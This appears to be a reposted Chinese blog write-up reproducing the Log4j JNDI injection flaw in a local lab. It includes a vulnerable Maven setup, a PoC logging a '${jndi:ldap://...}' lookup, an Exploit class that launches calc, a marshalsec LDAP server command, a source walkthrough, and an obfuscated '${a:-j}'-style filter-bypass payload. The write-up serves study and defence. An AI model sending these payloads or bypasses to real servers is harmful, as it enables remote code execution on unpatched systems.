文章目录
Log4j远程代码执行漏洞
简介
漏洞描述
Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
漏洞原理
当log4j打印的日志内容中包括 ${jndi:ldap://ip}时,程序就会通过Idap协议访问ip这个地址,然后ip就会返回一个包含Java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。
影响范围
Apache Log4j 2.x < 2.15.0-rc2。
漏洞复现
vscode创建maven项目,导入依赖,
pom.xml
内容:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>Log4j</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
构建poc,测试漏洞,实际情况中logger.error的参数是网站输入参数,这里我们直接将poc输入测试。
// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LogOut {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}
构建恶意脚本Exploit.java
//Exploit.java
public class Exploit {
public static void main(String[] args) throws Exception {
System.out.println("Hello, World!");
try{
String cmd="calc";
Runtime.getRuntime().exec(cmd);
} catch(Exception e){
e.printStackTrace();
}
}
}
编译成class文件。
javac Exploit.java
搭建ldap服务,需要下载marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
关键函数:
workingBuilder在offset出存储着输入的字符串,此处即
${jndi:ldap://localhost:1389/Exploit}
,我们可以看到此处for循环遍历整个输入字符串寻找
${
。
跟进
this.config.getStrSubstitutor().replace(event, value)
:
继续跟进substitute函数:
通过查看调试器我们可以知道
prefixMatcher=${
,
suffixMatcher=}
,
valueDelimiterString=:-
,
最终经过对
${
和
}
的匹配,成功提取
${jndi:ldap://localhost:1389/Exploit}
的中间内容
jndi:ldap://localhost:1389/Exploit
后面都是对
:-
等的处理,直到关键函数
this.resolveVariable()
其中
varName
为
jndi:ldap://localhost:1389/Exploit
。
继续跟进,返现
lookup
函数
可以看到lookup函数可以实现的各种类其中就包括jndi,当然我们也是使用其他的方法。
最终引发jndi注入。
同时我们可以发现在此处进行,分解组装操作,即将
${::-j}
变为
j
并重新合并至源字符串中,这就是bypass基本原理。
这里可以看到匹配函数,isMatch会匹配
:-
。
Bypass
由以上分析实际上只要存在
:-
j即可bypass,如
${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit}
,当然这只是最原始版本的bypass,最新版的还未研究。
( ̄y▽, ̄)╭
版权归原作者 Geniotic 所有, 如有侵权,请联系我们删除。